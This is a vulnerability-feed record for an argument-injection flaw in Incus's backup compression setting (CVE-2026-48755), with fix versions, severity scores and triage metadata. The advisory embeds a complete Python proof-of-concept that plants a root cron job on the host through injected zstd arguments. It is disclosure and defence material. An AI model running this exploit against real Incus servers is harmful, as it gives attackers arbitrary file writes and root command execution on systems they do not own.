{"id":"CVE-2026-48755","kind":"vulnerability","aliases":["CVE-2026-48755","GHSA-v6mj-8pf4-hhw4"],"related":[],"title":"Incus has an argument injection in backup compression algorithm leading to AFW and ACE","description":"### Summary\n\nImproper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates `compression_algorithm` by parsing it into fields and checking only the first token against an allowlist:\n\n```go\nfields, err := shellquote.Split(value)\n...\nif !slices.Contains([]string{\"bzip2\", \"gzip\", \"lz4\", \"lzma\", \"pigz\", \"pzstd\", \"pxz\", \"tar2sqfs\", \"xz\", \"zstd\"}, fields[0]) {\n    return fmt.Errorf(\"Compression algorithm %q isn't currently supported\", fields[0])\n}\n_, err = exec.LookPath(fields[0])\n```\n\nExtra arguments are not rejected. `compressFile()` then prepends `-c` and passes the remaining user-supplied fields to the compressor:\n\n```go\nargs := []string{\"-c\"}\nif len(fields) > 1 {\n    args = append(args, fields[1:]...)\n}\ncmd := exec.Command(fields[0], args...)\ncmd.Stdin = infile\ncmd.Stdout = outfile\n```\n\nWith a value like:\n\n```text\nzstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\nthe daemon executes the equivalent of:\n\n```text\nzstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\n### PoC\n\n```\npython3 poc.py \\\n\t--insecure --url https://remote-incus:8443 \\\n\t--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \\\n\t--instance c01 \\\n\t--execute --yes-i-understand-this-writes-host-file\n```\n\nThe following was generated by an LLM model.\n\n```\n#!/usr/bin/env python3\n\"\"\"Short remote Incus backup compression zstd cron RCE PoC.\n\nDry-run is the default.  --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:\n\n    zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>\n\nThe direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport os\nimport shlex\nimport sys\nimport urllib.parse\nfrom pathlib import PurePosixPath\nfrom typing import Any\n\nimport requests\n\n\ndef q(value: str) -> str:\n    return urllib.parse.quote(value, safe=\"\")\n\n\ndef api(base: str, endpoint: str, **params: str) -> str:\n    return base.rstrip(\"/\") + endpoint + (\"?\" + urllib.parse.urlencode(params) if params else \"\")\n\n\ndef project_instance(project: str, instance: str) -> str:\n    return instance if project == \"default\" else f\"{project}_{instance}\"\n\n\ndef clean_guest_path(path: str) -> str:\n    if not path.startswith(\"/\"):\n        raise ValueError(\"--guest-path must be absolute\")\n    if \"..\" in PurePosixPath(path).parts:\n        raise ValueError(\"--guest-path must not contain '..'\")\n    return os.path.normpath(\"/\" + path.lstrip(\"/\")).lstrip(\"/\")\n\n\ndef source_path(args: argparse.Namespace) -> str:\n    if args.source_host_path:\n        return args.source_host_path\n    return os.path.join(\n        args.incus_dir,\n        \"storage-pools\",\n        args.pool,\n        args.storage_kind,\n        project_instance(args.project, args.instance),\n        \"rootfs\",\n        clean_guest_path(args.guest_path),\n    )\n\n\ndef cron(command: str) -> bytes:\n    return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode()\n\n\ndef session(args: argparse.Namespace) -> requests.Session:\n    s = requests.Session()\n    s.verify = False if args.insecure else (args.cacert or True)\n    if args.cert or args.key:\n        s.cert = (args.cert, args.key)\n    if args.token:\n        s.headers[\"Authorization\"] = \"Bearer \" + args.token\n    s.headers[\"User-Agent\"] = \"incus-zstd-backup-rce-poc\"\n    if args.insecure:\n        requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]\n    return s\n\n\ndef check(resp: requests.Response, what: str) -> requests.Response:\n    if resp.status_code >= 400:\n        try:\n            detail: Any = resp.json()\n        except Exception:\n            detail = resp.text[:2048]\n        raise RuntimeError(f\"{what} failed: HTTP {resp.status_code}: {detail}\")\n    return resp\n\n\ndef upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:\n    url = api(args.url, f\"/1.0/instances/{q(args.instance)}/files\", project=args.project, path=args.guest_path)\n    headers = {\n        \"Content-Type\": \"application/octet-stream\",\n        \"X-Incus-type\": \"file\",\n        \"X-Incus-write\": \"overwrite\",\n        \"X-Incus-uid\": \"0\",\n        \"X-Incus-gid\": \"0\",\n        \"X-Incus-mode\": \"0644\",\n    }\n    print(f\"[*] uploading cron payload to {args.instance}:{args.guest_path}\")\n    check(s.post(url, data=payload, headers=headers, timeout=args.timeout), \"payload upload\")\n\n\ndef trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:\n    url = api(args.url, f\"/1.0/instances/{q(args.instance)}/backups\", project=args.project)\n    print(\"[*] sending direct backup request\")\n    resp = s.post(\n        url,\n        data=json.dumps(body).encode(),\n        headers={\"Accept\": \"application/octet-stream\", \"Content-Type\": \"application/json\"},\n        timeout=args.timeout,\n        stream=True,\n    )\n    print(f\"[*] backup HTTP {resp.status_code}\")\n    resp.close()\n    if resp.status_code >= 400:\n        print(\"[*] HTTP error after compressor launch is possible; check whether the cron file was written\")\n\n\ndef parse_args() -> argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Remote Incus zstd backup-compression cron RCE PoC\")\n    p.add_argument(\"--url\", required=True, help=\"https://host:8443\")\n    p.add_argument(\"--cert\", help=\"client certificate PEM\")\n    p.add_argument(\"--key\", help=\"client private key PEM\")\n    p.add_argument(\"--cacert\", help=\"CA certificate PEM\")\n    p.add_argument(\"--token\", help=\"bearer token\")\n    p.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n    p.add_argument(\"--timeout\", type=int, default=180)\n\n    p.add_argument(\"--project\", default=\"default\")\n    p.add_argument(\"--instance\", required=True)\n    p.add_argument(\"--pool\", default=\"default\")\n    p.add_argument(\"--storage-kind\", choices=[\"containers\", \"virtual-machines\"], default=\"containers\")\n    p.add_argument(\"--incus-dir\", default=\"/var/lib/incus\")\n    p.add_argument(\"--guest-path\", default=\"/incus-zstd-cron\")\n    p.add_argument(\"--source-host-path\", help=\"override daemon-readable host path for the staged payload\")\n    p.add_argument(\"--cron-path\", default=\"/etc/cron.d/incus-zstd-rce\")\n    p.add_argument(\"--command\", default=\"date >/incus-zstd-rce; id >>/incus-zstd-rce\")\n\n    p.add_argument(\"--execute\", action=\"store_true\", help=\"stage payload and send backup request\")\n    p.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute\")\n    args = p.parse_args()\n\n    if urllib.parse.urlparse(args.url).scheme != \"https\":\n        p.error(\"--url must use https\")\n    if bool(args.cert) != bool(args.key):\n        p.error(\"--cert and --key must be supplied together\")\n    if args.execute and not args.yes_i_understand_this_writes_host_file:\n        p.error(\"--execute requires --yes-i-understand-this-writes-host-file\")\n    try:\n        clean_guest_path(args.guest_path)\n    except ValueError as exc:\n        p.error(str(exc))\n\n    args.url = args.url.rstrip(\"/\")\n    return args\n\n\ndef main() -> int:\n    args = parse_args()\n    src = source_path(args)\n    payload = cron(args.command)\n    compressor = f\"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}\"\n    body = {\"compression_algorithm\": compressor, \"instance_only\": True}\n\n    print(\"[*] target:\", args.url)\n    print(\"[*] project:\", args.project)\n    print(\"[*] instance:\", args.instance)\n    print(\"[*] source host path:\", src)\n    print(\"[*] cron path:\", args.cron_path)\n    print(\"[*] payload:\", payload.decode().rstrip())\n    print(\"[*] backup body:\", json.dumps(body, sort_keys=True))\n\n    if not args.execute:\n        print(\"[*] dry run only; add --execute and the confirmation flag to act\")\n        return 0\n\n    s = session(args)\n    upload(s, args, payload)\n    trigger_backup(s, args, body)\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except BrokenPipeError:\n        raise SystemExit(1)\n    except Exception as exc:\n        print(f\"[-] {exc}\", file=sys.stderr)\n        raise SystemExit(1)\n```\n\n\n### Impact\n\nImproperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with `zstd` and possibly arbitrary command execution.","summary":"Incus accepts extra arguments in the backup compression algorithm setting and passes them to the compressor binary, so an attacker can make the daemon write arbitrary files on the host. The write can plant a cron job, which may lead to arbitrary command execution as root.","severity":"critical","cvss":9.9,"epss":0.00731,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/lxc/incus/v7/cmd/incusd","fixed":["7.2.0"],"affected":"< 7.2.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-20","incus","incusd","linux","lxc","runtime","self-hosted"],"not_affected_if":["api-not-exposed","incus-7.2.0-or-later"],"how_to_check":"- Check the installed `incusd` version against the affected range (before `7.2.0`).\n- Check whether the Incus API is reachable over the network on port `8443`.\n- Review which users hold Incus client certificates or other credentials that can create backups.","fix":"- Incus `7.2.0` (per the product range: affected before `7.2.0`, fixed in `7.2.0`).","status":"open","published_at":"2026-06-26T19:03:31+00:00","first_seen_at":"2026-11-05T23:38:50+00:00","triaged_at":"2026-11-05T23:39:12+00:00","updated_at":"2026-11-05T23:39:12+00:00","category":"runtime","confidence":0.8,"triage":{"at":"2026-11-05T23:39:12Z","model":"claude-haiku-5-5","output":{"fix":"- Incus `7.2.0` (per the product range: affected before `7.2.0`, fixed in `7.2.0`).","reach":"network","title":"Incus: backup compression argument injection enables arbitrary host file writes","impact":"high","summary":"Incus accepts extra arguments in the backup compression algorithm setting and passes them to the compressor binary, so an attacker can make the daemon write arbitrary files on the host. The write can plant a cron job, which may lead to arbitrary command execution as root.","audience":"businesses","category":"runtime","nicknames":[],"who_cares":["incus","incusd","linux","self-hosted","lxc"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Daemon writes attacker-chosen files on the host, possibly running commands as root","analyst_note":"Confirm the exact auth requirement for the backup API and whether non-admin certificates can trigger it, via the GHSA page at https://github.com/advisories/GHSA-v6mj-8pf4-hhw4.","how_to_check":"- Check the installed `incusd` version against the affected range (before `7.2.0`).\n- Check whether the Incus API is reachable over the network on port `8443`.\n- Review which users hold Incus client certificates or other credentials that can create backups.","plain_action":"","needs_analyst":true,"not_affected_if":["incus-7.2.0-or-later","api-not-exposed"],"who_is_affected":"Hosts running the Incus daemon (incusd) below version 7.2.0 are exposed, and the danger is greatest where the API is reachable from remote clients. An attacker needs credentials that can request instance backups, and the flaw is reached through the backup compression setting. Installations that do not expose the Incus API to untrusted clients and limit backup permissions to trusted users have reduced exposure.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"critical"},"cost_usd":0.001099,"input_tokens":7626,"output_tokens":673,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-20':30B '-2026':16A,24A '-48755':17A,25A '/.config/incus/client.crt':259C '/.config/incus/client.key':261C '/bin/sh':498C '/etc/cron.d/incus-zstd-rce':228C,246C,329C '/lxc/incus/v7/cmd/incusd':28A '/payload':230C,248C '/usr/bin/env':281C '/var/lib/incus':229C,247C '0':158C,169C,173C,210C '1':201C,206C '2048':572C '400':563C '8443':257C '8pf4':21A 'absolut':438C 'accept':40B 'ace':14A 'afw':12A 'agent':535C 'algorithm':9A,47B,94C,124C,162C 'allowlist':138C 'annot':355C 'api':388C 'append':203C 'arbitrari':64B,80B,108C,117C 'arg':195C,202C,204C,211C,459C,506C 'argpars':357C 'argparse.namespace':460C,507C 'args.cacert':516C 'args.cert':520C,524C 'args.guest':488C 'args.incus':472C 'args.insecure':514C,543C 'args.instance':483C 'args.key':522C,525C 'args.pool':477C 'args.project':482C 'args.source':463C,467C 'args.storage':478C 'args.token':527C,531C 'argument':4A,42B,97C,175C,318C 'argument-inject':317C 'ask':308C 'attack':58B 'attr':549C 'attr-defin':548C 'author':349C,529C 'backup':7A,45B,92C,286C,313C,332C,539C 'base':389C 'base.rstrip':397C 'bearer':530C 'binari':55B 'byte':494C 'bzip2':147C 'c':182C,197C,239C,322C,499C 'c01':263C 'cert':258C 'check':131C,554C 'clean':422C,485C 'cmd':207C 'cmd.stdin':212C 'cmd.stdout':214C 'code':562C 'command':81B,102C,118C,492C,501C 'compress':8A,46B,93C,123C,161C,287C 'compressfil':179C 'compressor':54B,193C,320C 'construct':101C 'contain':451C 'cron':74B,289C,301C,491C 'current':166C 'cve':15A,23A 'cwe':29B 'd':222C,240C,323C 'daemon':62B,232C 'def':378C,387C,404C,421C,456C,490C,504C,553C 'default':297C,416C 'defin':550C 'detail':120C,565C,570C 'dir':473C 'direct':312C,331C 'dri':293C 'dry-run':292C 'els':403C,417C,515C 'encod':503C 'endpoint':391C,398C 'equival':235C 'err':141C,170C 'except':568C,569C 'exec.command':208C 'exec.lookpath':171C 'execut':82B,119C,233C,264C,298C 'extra':41B,174C 'f':223C,241C,324C,418C,496C 'fail':334C 'fals':512C 'field':129C,140C,157C,168C,172C,190C,200C,205C,209C 'file':65B,109C,272C,340C 'first':134C 'fmt.errorf':160C 'follow':274C 'futur':353C 'generat':276C 'ghsa':19A 'ghsa-v6mj-8pf4-hhw4':18A 'github.com':27A 'github.com/lxc/incus/v7/cmd/incusd':26A 'go':139C,194C 'guest':423C,434C,447C,486C 'guest-path':433C,446C 'gzip':148C 'hhw4':22A 'host':38B,68B,113C,271C,339C,464C,468C 'ignor':547C 'import':354C,356C,358C,360C,362C,364C,366C,370C,374C,376C 'improp':86C 'incus':1A,31B,39B,121C,256C,285C,309C,350C,537C 'incus-zstd-backup-rce-poc':536C 'incusd':32B 'infil':213C 'inject':5A,98C,319C 'insecur':252C 'instanc':262C,305C,406C,409C,413C,420C,481C 'isn':164C 'job':75B 'json':359C 'key':260C 'kind':479C 'lead':10A,78B,95C,105C,115C 'len':199C 'like':219C 'line':103C 'linux':33B 'llm':279C 'lstrip':455C 'lxc':34B 'lz4':149C 'lzma':150C 'make':60B 'may':77B,333C 'model':280C 'must':436C,449C 'n':502C 'o':227C,245C,328C 'os':361C 'os.path.join':471C 'os.path.normpath':453C 'outfil':215C 'param':393C,400C,402C 'pars':126C 'part':443C 'pass':50B,184C,225C,243C,326C 'pass-through':224C,242C,325C 'path':424C,425C,435C,442C,448C,458C,465C,469C,487C,489C 'path.lstrip':454C 'path.startswith':430C 'pathlib':369C 'payload':302C 'pigz':151C 'plant':72B 'poc':249C,291C,541C 'poc.py':251C 'pool':476C 'possibl':114C 'prepend':181C 'primit':344C 'project':405C,407C,415C,419C,480C 'provid':91C 'pureposixpath':371C,441C 'pxz':153C 'python3':250C,282C 'pzstd':152C 'q':163C,379C 'rais':431C,444C 'rce':290C,540C 'reject':178C 'remain':186C 'remot':255C,284C 'remote-incus':254C 'request':377C 'requests.packages.urllib3.disable':544C 'requests.response':556C,559C 'requests.session':508C,510C 'resp':555C 'resp.json':567C 'resp.status':561C 'resp.text':571C 'return':159C,383C,396C,412C,452C,466C,470C,495C,551C 'root':84B,497C 'rootf':484C 'run':294C,337C 'runtim':35B 's.cert':523C 's.headers':528C,532C 's.verify':511C 'safe':386C 'self':37B 'self-host':36B 'server':351C 'session':505C 'set':48B 'shellquote.split':142C 'shlex':363C 'shlex.quote':500C 'short':283C 'slices.contains':145C 'sourc':457C 'storag':475C 'storage-pool':474C 'str':381C,382C,390C,392C,394C,395C,408C,410C,411C,426C,427C,461C,493C,558C 'string':146C,196C 'summari':85C 'suppli':189C 'support':167C 'sys':365C 'tar2sqfs':154C 'text':220C,237C 'token':135C 'tri':564C 'true':518C 'type':373C,546C 'understand':268C 'upload':299C 'url':253C 'urllib.parse':367C 'urllib.parse.quote':384C 'urllib.parse.urlencode':399C 'use':345C 'user':90C,188C,534C 'user-ag':533C 'user-provid':89C 'user-suppli':187C 'v6mj':20A 'valid':87C,122C 'valu':143C,218C,380C,385C 'valueerror':432C,445C 'warn':545C 'write':63B,70B,110C,270C,341C 'xz':155C 'yes':266C 'yes-i-understand-this-writes-host-fil':265C 'zstd':156C,221C,238C,288C,316C,321C,336C,538C","nicknames":[],"mitigations":[],"who_affected":"Hosts running the Incus daemon (incusd) below version 7.2.0 are exposed, and the danger is greatest where the API is reachable from remote clients. An attacker needs credentials that can request instance backups, and the flaw is reached through the backup compression setting. Installations that do not expose the Incus API to untrusted clients and limit backup permissions to trusted users have reduced exposure.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomlxcincusv7cmdincusd"],"ptokens":["cmd","com","github","incus","incusd","lxc","v7"],"labels":["critical","cwe20","go","incus","incusd","linux","lxc","runtime","selfhosted"],"campaign_type":null,"first_public_at":"2026-06-25T22:01:52+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-v6mj-8pf4-hhw4","url":"https://github.com/advisories/GHSA-v6mj-8pf4-hhw4","severity":"critical","published_at":"2026-06-26T19:03:31+00:00","modified_at":"2026-11-05T23:34:59+00:00","first_seen_at":"2026-11-05T23:38:50+00:00","fetched_at":"2026-11-05T23:49:01+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-48755","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48755","severity":null,"published_at":"2026-08-21T15:16:41+00:00","modified_at":"2026-10-15T19:10:00+00:00","first_seen_at":"2026-11-05T23:48:40+00:00","fetched_at":"2026-11-05T23:48:40+00:00","note":null}],"documents":[{"id":81467,"url":"https://api.github.com/repos/lxc/incus/security-advisories/GHSA-v6mj-8pf4-hhw4","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":81468,"url":"https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-25T22:01:52+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"exploit_sources":[{"type":"epss","score":0.00731,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48755"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}